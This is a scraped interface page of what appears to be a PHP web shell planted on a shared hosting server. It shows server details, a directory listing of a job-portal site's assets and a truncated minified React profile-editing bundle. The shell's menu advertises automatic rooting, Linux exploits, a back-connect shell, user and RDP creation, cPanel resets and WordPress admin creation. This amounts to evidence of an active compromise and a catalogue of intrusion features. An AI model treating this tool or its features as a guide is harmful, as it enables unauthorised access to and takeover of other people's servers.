Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.150
Cant Read [ /etc/named.conf ]
8.3.25
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
jobspot /
dist /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
8learningLandingPage-BxAeOnRC....
5.35
KB
-rw-r--r--
AboutUsPage-v3iTUt-Y.js
8.61
KB
-rw-r--r--
AccessibilityStatementPage-Dbz...
7.34
KB
-rw-r--r--
AccountPage-sx-Cy3cO.js
69.81
KB
-rw-r--r--
ApplyJobPage-B4LepRCa.js
8.25
KB
-rw-r--r--
CareerGuidancePage-BtXt-O9W.js
12.62
KB
-rw-r--r--
CareerResourcesPage-BXjxs3AN.j...
6.72
KB
-rw-r--r--
ChartsWidget1-eYxi7HrY.js
6.06
KB
-rw-r--r--
ChatPage-C9e7Tf75.js
26.33
KB
-rw-r--r--
CompanyFollow-C_nOjFaS.js
2.04
KB
-rw-r--r--
CompanyFollowersPage-Bny9CAsO....
3.14
KB
-rw-r--r--
CompanyJobApplicationsPage-DKQ...
16.44
KB
-rw-r--r--
CompanyJobOffersPage-B4Fd195R....
6.66
KB
-rw-r--r--
ContactUsPage-DUketUTZ.js
5.29
KB
-rw-r--r--
Container-zyPQsKCF.js
2.25
KB
-rw-r--r--
CourseApiService-CkzEEhl_.js
3.7
KB
-rw-r--r--
CourseDetailsPage-Bcy4t_KD.js
9.09
KB
-rw-r--r--
CoursesPage-DvuiPxmL.js
10.13
KB
-rw-r--r--
CoverLetterGuidePage-hJEMe05p....
12.42
KB
-rw-r--r--
CvBankPage-bOAXYUnP.js
14.12
KB
-rw-r--r--
CvModel-DrFgAuyu.js
6.33
KB
-rw-r--r--
CvPDFPage-BUObCrrF.js
2.47
KB
-rw-r--r--
DisabilityInclusionPage-4299bX...
11.7
KB
-rw-r--r--
Dropdown1-UGVH9NzS.js
2.27
KB
-rw-r--r--
EmployeeDetailsPage-DFkK2CHl.j...
6.51
KB
-rw-r--r--
EmployerFAQPage-S7lrcptO.js
10.8
KB
-rw-r--r--
EmployersPage-DRhY53a3.js
7.26
KB
-rw-r--r--
InterviewTipsPage-BJ7aYyRF.js
15.71
KB
-rw-r--r--
JobCreatePage-D-Ncpkvi.css
21.52
KB
-rw-r--r--
JobCreatePage-n40SwcyD.js
241.51
KB
-rw-r--r--
JobDetailPage-Ch9Qkdb-.js
28.32
KB
-rw-r--r--
JobOffer-DZXDwm2j.js
2.65
KB
-rw-r--r--
JobSeekerFAQPage-DnLwGKr3.js
10.03
KB
-rw-r--r--
JobsPage-Caz20Wft.js
6.22
KB
-rw-r--r--
ListsWidget2-x9S0Hirq.js
17.34
KB
-rw-r--r--
MyCVPage-B14hiBZD.js
2.2
KB
-rw-r--r--
MyCompanyFollowsPage-DXtQPsVD....
4.3
KB
-rw-r--r--
MyCvViewsPage-gBsRqUHE.js
4.77
KB
-rw-r--r--
MyJobApplicationsPage-CNQ6620B...
6.14
KB
-rw-r--r--
MyJobOffersPage-CrQd3_n2.js
7.23
KB
-rw-r--r--
MyJonApplicationModel-1B2s8ml9...
3.45
KB
-rw-r--r--
MyShortListedJobApplicationsPa...
6.2
KB
-rw-r--r--
PrivacyPolicyPage-BYFqjTRP.js
17.31
KB
-rw-r--r--
ProfileEditPage-DSZQntuQ.js
69.48
KB
-rw-r--r--
ProfilePage-Dyg0d8fl.js
35.71
KB
-rw-r--r--
Row-DPZyTb7u.js
432
B
-rw-r--r--
SalaryGuidePage-TNz3Wo0q.js
12.86
KB
-rw-r--r--
ServiceApiService-M3M9HWad.js
4.65
KB
-rw-r--r--
ServiceDetailsPage-B29kv5us.js
6.71
KB
-rw-r--r--
ServicesPage-BfKuD8DN.js
9.79
KB
-rw-r--r--
SiteMapPage-D5JPTP5u.js
6.27
KB
-rw-r--r--
TablesWidget5-DZK4T4po.js
19.53
KB
-rw-r--r--
TermsAndConditionsPage-C9Z_qPQ...
15.07
KB
-rw-r--r--
UsersPage-D9i6KJrQ.js
125.33
KB
-rw-r--r--
WidgetsPage-aJXvNKtY.js
219.63
KB
-rw-r--r--
WizardsPage-BSIvJ-JL.js
29.3
KB
-rw-r--r--
bootstrap-icons-BOrJxbIo.woff
171.91
KB
-rw-r--r--
bootstrap-icons-BtvjY1KL.woff2
127.34
KB
-rw-r--r--
fa-brands-400-Dur5g48u.ttf
204.47
KB
-rw-r--r--
fa-brands-400-O7nZalfM.woff2
115.3
KB
-rw-r--r--
fa-regular-400-Bf3rG5Nx.ttf
66.38
KB
-rw-r--r--
fa-regular-400-DgEfZSYE.woff2
24.87
KB
-rw-r--r--
fa-solid-900-BV3CbEM2.ttf
413.75
KB
-rw-r--r--
fa-solid-900-DOQJEhcS.woff2
153.51
KB
-rw-r--r--
fa-v4compatibility-B9MWI-E6.tt...
10.58
KB
-rw-r--r--
fa-v4compatibility-BX8XWJtE.wo...
4.69
KB
-rw-r--r--
fonticon-DWAcCzk_.ttf
28.82
KB
-rw-r--r--
fonticon-DwNJt5rD.woff2
13.53
KB
-rw-r--r--
fonticon-HMxJuE9W.svg
237.07
KB
-rw-r--r--
fonticon-VqleVTVL.eot
28.99
KB
-rw-r--r--
fonticon-zHHFr-fU.woff
16
KB
-rw-r--r--
index-BH1zEgzQ.js
2.14
MB
-rw-r--r--
index-BszjlO3o.js
31.34
KB
-rw-r--r--
index-DxnCHZMK.css
1.91
MB
-rw-r--r--
keenicons-duotone-BdYtl4gH.eot
183.27
KB
-rw-r--r--
keenicons-duotone-C4mN2-ZY.svg
674.09
KB
-rw-r--r--
keenicons-duotone-CtM_kZPp.wof...
183.18
KB
-rw-r--r--
keenicons-duotone-DKdN_-MP.ttf
183.11
KB
-rw-r--r--
keenicons-outline-2dtxAfdV.wof...
241.05
KB
-rw-r--r--
keenicons-outline-CkekYDxi.svg
1.01
MB
-rw-r--r--
keenicons-outline-DQbBVMHT.ttf
240.98
KB
-rw-r--r--
keenicons-outline-UBChmC0V.eot
241.14
KB
-rw-r--r--
keenicons-solid-3fU7eTfe.ttf
161.26
KB
-rw-r--r--
keenicons-solid-7nivxdSK.eot
161.42
KB
-rw-r--r--
keenicons-solid-B_g1gF03.woff
161.34
KB
-rw-r--r--
keenicons-solid-Bbtzhe37.svg
679.13
KB
-rw-r--r--
la-brands-400-Cq-R4OEF.woff2
82.79
KB
-rw-r--r--
la-brands-400-D0lxOIwB.woff
96.36
KB
-rw-r--r--
la-brands-400-LN4CMlGg.eot
152.6
KB
-rw-r--r--
la-brands-400-gDglUfU7.ttf
152.41
KB
-rw-r--r--
la-brands-400-wsUI3UJ9.svg
905.6
KB
-rw-r--r--
la-regular-400-BmVb34ql.svg
110.87
KB
-rw-r--r--
la-regular-400-CmnW_RTo.ttf
32.93
KB
-rw-r--r--
la-regular-400-Cx6vm3uW.eot
33.12
KB
-rw-r--r--
la-regular-400-DuFMN_sw.woff2
12.6
KB
-rw-r--r--
la-regular-400-ehe5HgcS.woff
15.13
KB
-rw-r--r--
la-solid-900-BUOWlSBQ.ttf
220.83
KB
-rw-r--r--
la-solid-900-CR_Kd-su.woff
122.48
KB
-rw-r--r--
la-solid-900-DkmX4G2x.eot
221.01
KB
-rw-r--r--
la-solid-900-TjMEgv3Q.woff2
94.48
KB
-rw-r--r--
la-solid-900-dtlPMWb8.svg
901.51
KB
-rw-r--r--
socicon-CSO5PcLV.woff
37.79
KB
-rw-r--r--
socicon-DFwHIzOF.ttf
51.2
KB
-rw-r--r--
socicon-DTk6ugo7.svg
128.22
KB
-rw-r--r--
socicon-DpTpLguA.eot
51.36
KB
-rw-r--r--
useIsomorphicEffect-BzIh6twu.j...
5.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProfileEditPage-DSZQntuQ.js
import{R as W,r as l,j as e,T as Ns,g as gs,t as ws,c as H,s as Ie,a as Cs,E as Ss,b as ks,d as Es,e as As,u as J,f as Fe,h as ne,i as Be,B as Ds,k as Ps,l as $s,q as Me,m as Is,A as Ms,n as He,o as Je,p as $,v as _s,w as Ts,x as me,y as ee,z as T,C as pe,P as se,U as te,F as Y,D as G,G as ue,H as p,I as re,J as oe,K as he,L as ve,M as ce,N as U,O as xe,Q as I,S as c,V,W as v,X as k,Y as Rs,Z as qs,_ as de,$ as Se,a0 as Os,a1 as be,a2 as _e,a3 as Fs,a4 as Bs,a5 as Hs,a6 as Js,a7 as ae,a8 as Ls,a9 as Te,aa as zs,ab as Z,ac as ie,ad as Us,ae as Ys,af as Gs}from"./index-BH1zEgzQ.js";import{C as B,a as Le}from"./Container-zyPQsKCF.js";import{u as Ks,a as Vs,m as Ws,b as Xs,c as Qs}from"./useIsomorphicEffect-BzIh6twu.js";function le(...a){return a.filter(s=>s!=null).reduce((s,t)=>{if(typeof t!="function")throw new Error("Invalid Argument Type, must only provide functions, undefined, or null.");return s===null?t:function(...n){s.apply(this,n),t.apply(this,n)}},null)}const Zs={height:["marginTop","marginBottom"],width:["marginLeft","marginRight"]};function ea(a,s){const t=`offset${a[0].toUpperCase()}${a.slice(1)}`,i=s[t],n=Zs[a];return i+parseInt(Ie(s,n[0]),10)+parseInt(Ie(s,n[1]),10)}const sa={[As]:"collapse",[Es]:"collapsing",[ks]:"collapsing",[Ss]:"collapse show"},aa=W.forwardRef(({onEnter:a,onEntering:s,onEntered:t,onExit:i,onExiting:n,className:r,children:o,dimension:d="height",in:m=!1,timeout:f=300,mountOnEnter:j=!1,unmountOnExit:u=!1,appear:N=!1,getDimensionValue:b=ea,...C},E)=>{const y=typeof d=="function"?d():d,_=l.useMemo(()=>le(h=>{h.style[y]="0"},a),[y,a]),D=l.useMemo(()=>le(h=>{const x=`scroll${y[0].toUpperCase()}${y.slice(1)}`;h.style[y]=`${h[x]}px`},s),[y,s]),A=l.useMemo(()=>le(h=>{h.style[y]=null},t),[y,t]),g=l.useMemo(()=>le(h=>{h.style[y]=`${b(y,h)}px`,Cs(h)},i),[i,b,y]),w=l.useMemo(()=>le(h=>{h.style[y]=null},n),[y,n]);return e.jsx(Ns,{ref:E,addEndListener:ws,...C,"aria-expanded":C.role?m:null,onEnter:_,onEntering:D,onEntered:A,onExit:g,onExiting:w,childRef:gs(o),in:m,timeout:f,mountOnEnter:j,unmountOnExit:u,appear:N,children:(h,x)=>W.cloneElement(o,{...x,className:H(r,o.props.className,sa[h],y==="width"&&"collapse-horizontal")})})});function ze(a,s){return Array.isArray(a)?a.includes(s):a===s}const fe=l.createContext({});fe.displayName="AccordionContext";const ke=l.forwardRef(({as:a="div",bsPrefix:s,className:t,children:i,eventKey:n,...r},o)=>{const{activeEventKey:d}=l.useContext(fe);return s=J(s,"accordion-collapse"),e.jsx(aa,{ref:o,in:ze(d,n),...r,className:H(t,s),children:e.jsx(a,{children:l.Children.only(i)})})});ke.displayName="AccordionCollapse";const ye=l.createContext({eventKey:""});ye.displayName="AccordionItemContext";const Ue=l.forwardRef(({as:a="div",bsPrefix:s,className:t,onEnter:i,onEntering:n,onEntered:r,onExit:o,onExiting:d,onExited:m,...f},j)=>{s=J(s,"accordion-body");const{eventKey:u}=l.useContext(ye);return e.jsx(ke,{eventKey:u,onEnter:i,onEntering:n,onEntered:r,onExit:o,onExiting:d,onExited:m,children:e.jsx(a,{ref:j,...f,className:H(t,s)})})});Ue.displayName="AccordionBody";function ta(a,s){const{activeEventKey:t,onSelect:i,alwaysOpen:n}=l.useContext(fe);return r=>{let o=a===t?null:a;n&&(Array.isArray(t)?t.includes(a)?o=t.filter(d=>d!==a):o=[...t,a]:o=[a]),i==null||i(o,r),s==null||s(r)}}const Ee=l.forwardRef(({as:a="button",bsPrefix:s,className:t,onClick:i,...n},r)=>{s=J(s,"accordion-button");const{eventKey:o}=l.useContext(ye),d=ta(o,i),{activeEventKey:m}=l.useContext(fe);return a==="button"&&(n.type="button"),e.jsx(a,{ref:r,onClick:d,...n,"aria-expanded":Array.isArray(m)?m.includes(o):o===m,className:H(t,s,!ze(m,o)&&"collapsed")})});Ee.displayName="AccordionButton";const Ye=l.forwardRef(({as:a="h2","aria-controls":s,bsPrefix:t,className:i,children:n,onClick:r,...o},d)=>(t=J(t,"accordion-header"),e.jsx(a,{ref:d,...o,className:H(i,t),children:e.jsx(Ee,{onClick:r,"aria-controls":s,children:n})})));Ye.displayName="AccordionHeader";const Ge=l.forwardRef(({as:a="div",bsPrefix:s,className:t,eventKey:i,...n},r)=>{s=J(s,"accordion-item");const o=l.useMemo(()=>({eventKey:i}),[i]);return e.jsx(ye.Provider,{value:o,children:e.jsx(a,{ref:r,...n,className:H(t,s)})})});Ge.displayName="AccordionItem";const Ke=l.forwardRef((a,s)=>{const{as:t="div",activeKey:i,bsPrefix:n,className:r,onSelect:o,flush:d,alwaysOpen:m,...f}=Fe(a,{activeKey:"onSelect"}),j=J(n,"accordion"),u=l.useMemo(()=>({activeEventKey:i,onSelect:o,alwaysOpen:m}),[i,o,m]);return e.jsx(fe.Provider,{value:u,children:e.jsx(t,{ref:s,...f,className:H(r,j,d&&`${j}-flush`)})})});Ke.displayName="Accordion";const X=Object.assign(Ke,{Button:Ee,Collapse:ke,Item:Ge,Header:Ye,Body:Ue});function ia(a,s,t,i=!1){const n=ne(t);l.useEffect(()=>{const r=typeof a=="function"?a():a;return r.addEventListener(s,n,i),()=>r.removeEventListener(s,n,i)},[a])}function la(a,s,t){const i=l.useRef(a!==void 0),[n,r]=l.useState(s),o=a!==void 0,d=i.current;return i.current=o,!o&&d&&n!==s&&r(s),[o?a:n,l.useCallback((...m)=>{const[f,...j]=m;let u=t==null?void 0:t(f,...j);return r(f),u},[t])]}function na(){const[,a]=l.useReducer(s=>s+1,0);return a}const Ne=l.createContext(null),ra=["children","usePopper"];function oa(a,s){if(a==null)return{};var t={};for(var i in a)if({}.hasOwnProperty.call(a,i)){if(s.indexOf(i)>=0)continue;t[i]=a[i]}return t}const ca=()=>{};function Ve(a={}){const s=l.useContext(Ne),[t,i]=Ks(),n=l.useRef(!1),{flip:r,offset:o,rootCloseEvent:d,fixed:m=!1,placement:f,popperConfig:j={},enableEventListeners:u=!0,usePopper:N=!!s}=a,b=(s==null?void 0:s.show)==null?!!a.show:s.show;b&&!n.current&&(n.current=!0);const C=h=>{s==null||s.toggle(!1,h)},{placement:E,setMenu:y,menuElement:_,toggleElement:D}=s||{},A=Vs(D,_,Ws({placement:f||E||"bottom-start",enabled:N,enableEvents:u??b,offset:o,flip:r,fixed:m,arrowElement:t,popperConfig:j})),g=Object.assign({ref:y||ca,"aria-labelledby":D==null?void 0:D.id},A.attributes.popper,{style:A.styles.popper}),w={show:b,placement:E,hasShown:n.current,toggle:s==null?void 0:s.toggle,popper:N?A:null,arrowProps:N?Object.assign({ref:i},A.attributes.arrow,{style:A.styles.arrow}):{}};return Xs(_,C,{clickTrigger:d,disabled:!b}),[g,w]}function We(a){let{children:s,usePopper:t=!0}=a,i=oa(a,ra);const[n,r]=Ve(Object.assign({},i,{usePopper:t}));return e.jsx(e.Fragment,{children:s(n,r)})}We.displayName="DropdownMenu";const Ae={prefix:String(Math.round(Math.random()*1e10)),current:0},Xe=W.createContext(Ae),da=W.createContext(!1);let ma=!!(typeof window<"u"&&window.document&&window.document.createElement),we=new WeakMap;function pa(a=!1){let s=l.useContext(Xe),t=l.useRef(null);if(t.current===null&&!a){var i,n;let r=(n=W.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED)===null||n===void 0||(i=n.ReactCurrentOwner)===null||i===void 0?void 0:i.current;if(r){let o=we.get(r);o==null?we.set(r,{id:s.current,state:r.memoizedState}):r.memoizedState!==o.state&&(s.current=o.id,we.delete(r))}t.current=++s.current}return t.current}function ua(a){let s=l.useContext(Xe);s===Ae&&!ma&&console.warn("When server rendering, you must wrap your application in an <SSRProvider> to ensure consistent ids are generated between the client and server.");let t=pa(!!a),i=`react-aria${s.prefix}`;return a||`${i}-${t}`}function ha(a){let s=W.useId(),[t]=l.useState(va()),i=t?"react-aria":`react-aria${Ae.prefix}`;return a||`${i}-${s}`}const xa=typeof W.useId=="function"?ha:ua;function fa(){return!1}function ja(){return!0}function ba(a){return()=>{}}function va(){return typeof W.useSyncExternalStore=="function"?W.useSyncExternalStore(ba,fa,ja):l.useContext(da)}const Qe=a=>{var s;return((s=a.getAttribute("role"))==null?void 0:s.toLowerCase())==="menu"},Re=()=>{};function Ze(){const a=xa(),{show:s=!1,toggle:t=Re,setToggle:i,menuElement:n}=l.useContext(Ne)||{},r=l.useCallback(d=>{t(!s,d)},[s,t]),o={id:a,ref:i||Re,onClick:r,"aria-expanded":!!s};return n&&Qe(n)&&(o["aria-haspopup"]=!0),[o,{show:s,toggle:t}]}function es({children:a}){const[s,t]=Ze();return e.jsx(e.Fragment,{children:a(s,t)})}es.displayName="DropdownToggle";const Ce=l.createContext(null),qe=(a,s=null)=>a!=null?String(a):s||null,ss=l.createContext(null);ss.displayName="NavContext";const ya=["eventKey","disabled","onClick","active","as"];function Na(a,s){if(a==null)return{};var t={};for(var i in a)if({}.hasOwnProperty.call(a,i)){if(s.indexOf(i)>=0)continue;t[i]=a[i]}return t}function as({key:a,href:s,active:t,disabled:i,onClick:n}){const r=l.useContext(Ce),o=l.useContext(ss),{activeKey:d}=o||{},m=qe(a,s),f=t==null&&a!=null?qe(d)===m:t;return[{onClick:ne(u=>{i||(n==null||n(u),r&&!u.isPropagationStopped()&&r(m,u))}),"aria-disabled":i||void 0,"aria-selected":f,[Be("dropdown-item")]:""},{isActive:f}]}const ts=l.forwardRef((a,s)=>{let{eventKey:t,disabled:i,onClick:n,active:r,as:o=Ds}=a,d=Na(a,ya);const[m]=as({key:t,href:d.href,disabled:i,onClick:n,active:r});return e.jsx(o,Object.assign({},d,{ref:s},m))});ts.displayName="DropdownItem";function Oe(){const a=na(),s=l.useRef(null),t=l.useCallback(i=>{s.current=i,a()},[a]);return[s,t]}function je({defaultShow:a,show:s,onSelect:t,onToggle:i,itemSelector:n=`* [${Be("dropdown-item")}]`,focusFirstItemOnShow:r,placement:o="bottom-start",children:d}){const m=Ps(),[f,j]=la(s,a,i),[u,N]=Oe(),b=u.current,[C,E]=Oe(),y=C.current,_=$s(f),D=l.useRef(null),A=l.useRef(!1),g=l.useContext(Ce),w=l.useCallback((R,q,F=q==null?void 0:q.type)=>{j(R,{originalEvent:q,source:F})},[j]),h=ne((R,q)=>{t==null||t(R,q),w(!1,q,"select"),q.isPropagationStopped()||g==null||g(R,q)}),x=l.useMemo(()=>({toggle:w,placement:o,show:f,menuElement:b,toggleElement:y,setMenu:N,setToggle:E}),[w,o,f,b,y,N,E]);b&&_&&!f&&(A.current=b.contains(b.ownerDocument.activeElement));const P=ne(()=>{y&&y.focus&&y.focus()}),S=ne(()=>{const R=D.current;let q=r;if(q==null&&(q=u.current&&Qe(u.current)?"keyboard":!1),q===!1||q==="keyboard"&&!/^key.+$/.test(R))return;const F=Me(u.current,n)[0];F&&F.focus&&F.focus()});l.useEffect(()=>{f?S():A.current&&(A.current=!1,P())},[f,A,P,S]),l.useEffect(()=>{D.current=null});const O=(R,q)=>{if(!u.current)return null;const F=Me(u.current,n);let z=F.indexOf(R)+q;return z=Math.max(0,Math.min(z,F.length)),F[z]};return ia(l.useCallback(()=>m.document,[m]),"keydown",R=>{var q,F;const{key:z}=R,Q=R.target,Pe=(q=u.current)==null?void 0:q.contains(Q),ys=(F=C.current)==null?void 0:F.contains(Q);if(/input|textarea/i.test(Q.tagName)&&(z===" "||z!=="Escape"&&Pe||z==="Escape"&&Q.type==="search")||!Pe&&!ys||z==="Tab"&&(!u.current||!f))return;D.current=R.type;const ge={originalEvent:R,source:R.type};switch(z){case"ArrowUp":{const L=O(Q,-1);L&&L.focus&&L.focus(),R.preventDefault();return}case"ArrowDown":if(R.preventDefault(),!f)j(!0,ge);else{const L=O(Q,1);L&&L.focus&&L.focus()}return;case"Tab":Is(Q.ownerDocument,"keyup",L=>{var $e;(L.key==="Tab"&&!L.target||!(($e=u.current)!=null&&$e.contains(L.target)))&&j(!1,ge)},{once:!0});break;case"Escape":z==="Escape"&&(R.preventDefault(),R.stopPropagation()),j(!1,ge);break}}),e.jsx(Ce.Provider,{value:h,children:e.jsx(Ne.Provider,{value:x,children:d})})}je.displayName="Dropdown";je.Menu=We;je.Toggle=es;je.Item=ts;const De=l.createContext({});De.displayName="DropdownContext";const is=l.forwardRef(({className:a,bsPrefix:s,as:t="hr",role:i="separator",...n},r)=>(s=J(s,"dropdown-divider"),e.jsx(t,{ref:r,className:H(a,s),role:i,...n})));is.displayName="DropdownDivider";const ls=l.forwardRef(({className:a,bsPrefix:s,as:t="div",role:i="heading",...n},r)=>(s=J(s,"dropdown-header"),e.jsx(t,{ref:r,className:H(a,s),role:i,...n})));ls.displayName="DropdownHeader";const ns=l.forwardRef(({bsPrefix:a,className:s,eventKey:t,disabled:i=!1,onClick:n,active:r,as:o=Ms,...d},m)=>{const f=J(a,"dropdown-item"),[j,u]=as({key:t,href:d.href,disabled:i,onClick:n,active:r});return e.jsx(o,{...d,...j,ref:m,className:H(s,f,u.isActive&&"active",i&&"disabled")})});ns.displayName="DropdownItem";const rs=l.forwardRef(({className:a,bsPrefix:s,as:t="span",...i},n)=>(s=J(s,"dropdown-item-text"),e.jsx(t,{ref:n,className:H(a,s),...i})));rs.displayName="DropdownItemText";const os=l.createContext(null);os.displayName="NavbarContext";function cs(a,s){return a}function ds(a,s,t){const i=t?"top-end":"top-start",n=t?"top-start":"top-end",r=t?"bottom-end":"bottom-start",o=t?"bottom-start":"bottom-end",d=t?"right-start":"left-start",m=t?"right-end":"left-end",f=t?"left-start":"right-start",j=t?"left-end":"right-end";let u=a?o:r;return s==="up"?u=a?n:i:s==="end"?u=a?j:f:s==="start"?u=a?m:d:s==="down-centered"?u="bottom":s==="up-centered"&&(u="top"),u}const ms=l.forwardRef(({bsPrefix:a,className:s,align:t,rootCloseEvent:i,flip:n=!0,show:r,renderOnMount:o,as:d="div",popperConfig:m,variant:f,...j},u)=>{let N=!1;const b=l.useContext(os),C=J(a,"dropdown-menu"),{align:E,drop:y,isRTL:_}=l.useContext(De);t=t||E;const D=l.useContext(He),A=[];if(t)if(typeof t=="object"){const R=Object.keys(t);if(R.length){const q=R[0],F=t[q];N=F==="start",A.push(`${C}-${q}-${F}`)}}else t==="end"&&(N=!0);const g=ds(N,y,_),[w,{hasShown:h,popper:x,show:P,toggle:S}]=Ve({flip:n,rootCloseEvent:i,show:r,usePopper:!b&&A.length===0,offset:[0,2],popperConfig:m,placement:g});if(w.ref=Je(cs(u),w.ref),Qs(()=>{P&&(x==null||x.update())},[P]),!h&&!o&&!D)return null;typeof d!="string"&&(w.show=P,w.close=()=>S==null?void 0:S(!1),w.align=t);let O=j.style;return x!=null&&x.placement&&(O={...j.style,...w.style},j["x-placement"]=x.placement),e.jsx(d,{...j,...w,style:O,...(A.length||b)&&{"data-bs-popper":"static"},className:H(s,C,P&&"show",N&&`${C}-end`,f&&`${C}-${f}`,...A)})});ms.displayName="DropdownMenu";const ps=l.forwardRef(({bsPrefix:a,split:s,className:t,childBsPrefix:i,as:n=$,...r},o)=>{const d=J(a,"dropdown-toggle"),m=l.useContext(Ne);i!==void 0&&(r.bsPrefix=i);const[f]=Ze();return f.ref=Je(f.ref,cs(o)),e.jsx(n,{className:H(t,d,s&&`${d}-split`,(m==null?void 0:m.show)&&"show"),...f,...r})});ps.displayName="DropdownToggle";const us=l.forwardRef((a,s)=>{const{bsPrefix:t,drop:i="down",show:n,className:r,align:o="start",onSelect:d,onToggle:m,focusFirstItemOnShow:f,as:j="div",navbar:u,autoClose:N=!0,...b}=Fe(a,{show:"onToggle"}),C=l.useContext(He),E=J(t,"dropdown"),y=_s(),_=x=>N===!1?x==="click":N==="inside"?x!=="rootClose":N==="outside"?x!=="select":!0,D=Ts((x,P)=>{var S;!((S=P.originalEvent)==null||(S=S.target)==null)&&S.classList.contains("dropdown-toggle")&&P.source==="mousedown"||(P.originalEvent.currentTarget===document&&(P.source!=="keydown"||P.originalEvent.key==="Escape")&&(P.source="rootClose"),_(P.source)&&(m==null||m(x,P)))}),g=ds(o==="end",i,y),w=l.useMemo(()=>({align:o,drop:i,isRTL:y}),[o,i,y]),h={down:E,"down-centered":`${E}-center`,up:"dropup","up-centered":"dropup-center dropup",end:"dropend",start:"dropstart"};return e.jsx(De.Provider,{value:w,children:e.jsx(je,{placement:g,show:n,onSelect:d,onToggle:D,focusFirstItemOnShow:f,itemSelector:`.${E}-item:not(.disabled):not(:disabled)`,children:C?b.children:e.jsx(j,{...b,ref:s,className:H(r,n&&"show",h[i])})})})});us.displayName="Dropdown";const M=Object.assign(us,{Toggle:ps,Menu:ms,Item:ns,ItemText:rs,Divider:is,Header:ls}),ga=[{value:"primary",label:"Primary School"},{value:"secondary",label:"Secondary School"},{value:"bachelor",label:"Bachelor's Degree"},{value:"master",label:"Master's Degree"},{value:"doctorate",label:"Doctorate"},{value:"diploma",label:"Diploma"},{value:"certificate",label:"Certificate"}],hs=G().shape({education_level:k().required("Education level is required"),major:k().required("Major/Concentration is required"),institution:k().required("Institution name is required"),duration:k().required("Duration is required"),graduation_year:k().required("Graduation year is required").matches(/^\d{4}$/,"Must be a valid year"),result:k().required("Result is required")}),xs=G().shape({training_title:k().required("Training title is required"),provider:k().required("Provider is required"),year:k().required("Year is required").matches(/^\d{4}$/,"Must be valid year"),remarks:k().nullable()}),fs=G().shape({certificate_title:k().required("Certificate title is required"),issuing_authority:k().required("Issuing authority is required"),date_issued:k().required("Date issued is required"),certificate_id:k().nullable()}),wa=l.memo(({academic:a,onEdit:s,onDelete:t})=>e.jsx(p.div,{initial:{opacity:0,x:-20},animate:{opacity:1,x:0},transition:{duration:.3},children:e.jsxs(B,{className:"mb-3 hover-shadow",children:[e.jsxs(B.Header,{className:"d-flex justify-content-between align-items-center bg-light",children:[e.jsxs("div",{children:[e.jsxs("h5",{className:"mb-0 text-primary",children:[a.education_level," - ",a.major]}),e.jsx("small",{className:"text-muted",children:a.institution})]}),e.jsxs(M,{children:[e.jsx(M.Toggle,{variant:"link",className:"no-arrow",children:e.jsx(U,{className:"text-muted"})}),e.jsxs(M.Menu,{align:"end",children:[e.jsxs(M.Item,{onClick:s,children:[e.jsx(U,{className:"me-2"})," Edit"]}),e.jsxs(M.Item,{onClick:t,className:"text-danger",children:[e.jsx(xe,{className:"me-2"})," Delete"]})]})]})]}),e.jsx(B.Body,{children:e.jsxs("div",{className:"row g-2",children:[e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Duration"}),e.jsx("p",{className:"mb-0",children:a.duration})]}),e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Graduation Year"}),e.jsx("p",{className:"mb-0",children:a.graduation_year})]}),e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Result"}),e.jsx("p",{className:"mb-0",children:a.result})]})]})})]})})),Ca=l.memo(({training:a,onEdit:s,onDelete:t})=>e.jsx(p.div,{initial:{opacity:0,x:-20},animate:{opacity:1,x:0},transition:{duration:.3},children:e.jsxs(B,{className:"mb-3 hover-shadow",children:[e.jsxs(B.Header,{className:"d-flex justify-content-between align-items-center bg-light",children:[e.jsxs("div",{children:[e.jsx("h5",{className:"mb-0 text-primary",children:a.training_title}),e.jsx("small",{className:"text-muted",children:a.provider})]}),e.jsxs(M,{children:[e.jsx(M.Toggle,{variant:"link",className:"no-arrow",children:e.jsx(U,{className:"text-muted"})}),e.jsxs(M.Menu,{align:"end",children:[e.jsxs(M.Item,{onClick:s,children:[e.jsx(U,{className:"me-2"})," Edit"]}),e.jsxs(M.Item,{onClick:t,className:"text-danger",children:[e.jsx(xe,{className:"me-2"})," Delete"]})]})]})]}),e.jsx(B.Body,{children:e.jsxs("div",{className:"row g-2",children:[e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Year"}),e.jsx("p",{className:"mb-0",children:a.year})]}),e.jsxs("div",{className:"col-md-8",children:[e.jsx("label",{className:"text-muted small",children:"Remarks"}),e.jsx("p",{className:"mb-0",children:a.remarks||"N/A"})]})]})})]})})),Sa=l.memo(({certificate:a,onEdit:s,onDelete:t})=>e.jsx(p.div,{initial:{opacity:0,x:-20},animate:{opacity:1,x:0},transition:{duration:.3},children:e.jsxs(B,{className:"mb-3 hover-shadow",children:[e.jsxs(B.Header,{className:"d-flex justify-content-between align-items-center bg-light",children:[e.jsxs("div",{children:[e.jsx("h5",{className:"mb-0 text-primary",children:a.certificate_title}),e.jsx("small",{className:"text-muted",children:a.issuing_authority})]}),e.jsxs(M,{children:[e.jsx(M.Toggle,{variant:"link",className:"no-arrow",children:e.jsx(U,{className:"text-muted"})}),e.jsxs(M.Menu,{align:"end",children:[e.jsxs(M.Item,{onClick:s,children:[e.jsx(U,{className:"me-2"})," Edit"]}),e.jsxs(M.Item,{onClick:t,className:"text-danger",children:[e.jsx(xe,{className:"me-2"})," Delete"]})]})]})]}),e.jsx(B.Body,{children:e.jsxs("div",{className:"row g-2",children:[e.jsxs("div",{className:"col-md-6",children:[e.jsx("label",{className:"text-muted small",children:"Date Issued"}),e.jsx("p",{className:"mb-0",children:a.date_issued})]}),e.jsxs("div",{className:"col-md-6",children:[e.jsx("label",{className:"text-muted 